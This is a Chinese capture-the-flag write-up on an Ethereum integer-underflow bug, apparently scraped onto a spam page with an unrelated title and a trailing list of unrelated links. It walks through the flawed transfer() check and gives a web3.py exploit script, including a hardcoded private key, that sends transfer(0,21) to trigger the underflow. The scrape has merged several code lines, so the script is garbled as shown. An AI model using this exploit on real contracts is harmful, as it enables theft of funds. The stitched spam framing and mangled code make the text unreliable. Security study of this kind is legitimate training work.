当前位置: 首页 > news >正文

网站开发代码用什么软件山东建设工程信息网站

网站开发代码用什么软件,山东建设工程信息网站,东莞网站优化排名,先申请网站空间区块链安全 文章目录 区块链安全整数溢出漏洞实战实验目的实验环境实验工具实验原理攻击过程分析合约源代码漏洞EXP利用 整数溢出漏洞实战 实验目的 学会使用python3的web3模块 学会以太坊整数溢出漏洞分析及利用 实验环境 Ubuntu18.04操作机 实验工具 python3 实验原理…

区块链安全

`

文章目录

  • 区块链安全
  • 整数溢出漏洞实战
    • 实验目的
    • 实验环境
    • 实验工具
    • 实验原理
    • 攻击过程
    • 分析合约源代码漏洞
    • EXP利用


整数溢出漏洞实战

实验目的

学会使用python3的web3模块
学会以太坊整数溢出漏洞分析及利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

低版本Solidity整数是uint无符号类型,若操作存在不安全行为,可能会产生溢出,通过分析代码找到漏洞点,实现整数溢出利用。
题目环境是测试链,所以需要本地与题目进行交互,可使用python3中的web3模块,通过web3模块的rpc功能与题目交互,从而编写自动化利用脚本。
实验内容
使用python3编写脚本测试漏洞
找到整数溢出漏洞并形成利用获取flag
实验地址为nc ip 10001

攻击过程

nc 靶标ip 端口
在这里插入图片描述
打开http://ip,输入上述分配的game account,点击Request获取eth

在这里插入图片描述
在这里插入图片描述

nc ip 10001连接到题目,输入2,获取部署合约的地址及new token
在这里插入图片描述

nc ip 10001连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码
在这里插入图片描述

分析合约源代码漏洞

题目要求把flag设置为true,分析合约代码,在transfer中可以将flag设置为true,但需要满足totalSupply - _value > 0,其中totalSupply=20,其实考点为Solidity智能合约整数溢出,totalSupply与value都是uint无符号整数,所以只需要value为21即可产生整数下溢,造成溢出
在这里插入图片描述
需要调用transfer(0,21)即可将flag设置为true

EXP利用

利用python3的web3模块与远程题目交互,并编写利用代码,将ip替换成题目的ip,contract_address替换成自己的地址

from web3 import Web3, HTTPProvider
import timew3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))contract_address = "0x68A04806e380BAa6D6f2E96027Cc0ed11c17FEf1"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"def generate_tx(chainID, to, data, value):txn = {'chainId': chainID,'from': Web3.toChecksumAddress(public),'to': to,'gasPrice': w3.eth.gasPrice,'gas': 3000000,'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),'value': Web3.toWei(value, 'ether'),'data': data,}return txndef sign_and_send(txn):signed_txn = w3.eth.account.signTransaction(txn, private)txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)print("txn_hash=", txn_hash)return txn_receipt# transfer(0,21)
data = Web3.keccak(text='transfer(address,uint256)').hex()[:10]
data += '0'*64
data += '21'.rjust(64,'0')txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
Hack = sign_and_send(txn)
print(Hack)

运行exp
在这里插入图片描述

在这里插入图片描述

nc ip 10001连接到题目,输入3,输入之前的new token,获取flag

在这里插入图片描述

http://www.yayakq.cn/news/243374/

相关文章:

  • 龙岗网站建设需要考量些什么php中文网
  • 电子商务网站的建设与运营在线设计海报网站
  • 地方同城网站开发深圳公司网站推广
  • 网站反链增加网站推广投放
  • 中山seo代理计费seo 优化一般包括哪些内容
  • 国外服务器 网站进行经营性活动wordpress主题用户中心
  • 色调网站石家庄网站建设价格低
  • 网站谷歌优化怎么做网站透明背景
  • 网站实名认证如何查看网站是什么语言做的
  • 上海网站建设服务是什么意思广州市律师网站建设价格
  • 响应式网站怎么设置怎么做qq二维码网站
  • gateface能用来做网站吗asp.net做网站源代码
  • 系网站的开发和建设毕业设计做淘宝客最好的网站是什么网站
  • 汕尾建设网站首页网站开发php
  • 怎么做一个公司的网站网站做适配
  • 网站怎么做访问量统计网站推广的目的和意义
  • 郑州服装网站建设公司网站权重传递
  • 域名命名网站网站建设流程是这样的
  • 代码查询网站网站开发多语言
  • wap网站模式辽宁建设工程信息网a类业绩定义
  • 济南阿里科技网站建设有限公司扬州有做义工的地方或网站嘛
  • html5 网站建设网站是谁做的
  • 西宁网站制作哪家好百度云空间能做网站吗
  • 保定网站制作推广公司开发者选项在哪里打开oppo
  • 北京移动端网站价格网站字号多大
  • 网站建设收费标准服务如何自己做加盟网站
  • 动画设计专业大学排名国内乐山网站seo
  • 徐闻住房与城乡建设局网站网站类别页面怎么做
  • 无锡企业网站制作费用wordpress文章添加目录
  • 给网站做网站长沙景点有哪些好玩